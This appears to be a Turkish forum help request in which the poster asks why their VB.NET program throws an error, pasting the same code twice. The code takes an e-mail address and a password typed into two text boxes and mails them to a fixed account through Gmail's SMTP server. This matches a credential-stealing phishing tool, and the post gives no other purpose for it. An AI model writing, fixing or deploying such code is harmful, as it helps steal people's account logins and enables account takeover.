Arkadaşlar şu hatanın sorunu nedir? Ne olur yardım edin
http://j1309.hizliresim.com/1f/v/t20ug.bmp
Kullandığım kodlar şu;
If TextBox1.Text = "" Then
MsgBox("E-Posta Boş Bırakılamaz.")
If TextBox2.Text = "" Then
MsgBox("Şifre Alanı Boş Bırakılamaz.")
Else
End If
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("[email protected]", "şifre")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("[email protected]")
mail.To.Add("şifre")
mail.Subject = "E-Posta : " & TextBox1.Text
mail.Body = "Sifre : " & TextBox2.Text & ","
smtpServer.Send(mail)
http://j1309.hizliresim.com/1f/v/t20ug.bmp
Kullandığım kodlar şu;
If TextBox1.Text = "" Then
MsgBox("E-Posta Boş Bırakılamaz.")
If TextBox2.Text = "" Then
MsgBox("Şifre Alanı Boş Bırakılamaz.")
Else
End If
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("[email protected]", "şifre")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("[email protected]")
mail.To.Add("şifre")
mail.Subject = "E-Posta : " & TextBox1.Text
mail.Body = "Sifre : " & TextBox2.Text & ","
smtpServer.Send(mail)
Son düzenleme:


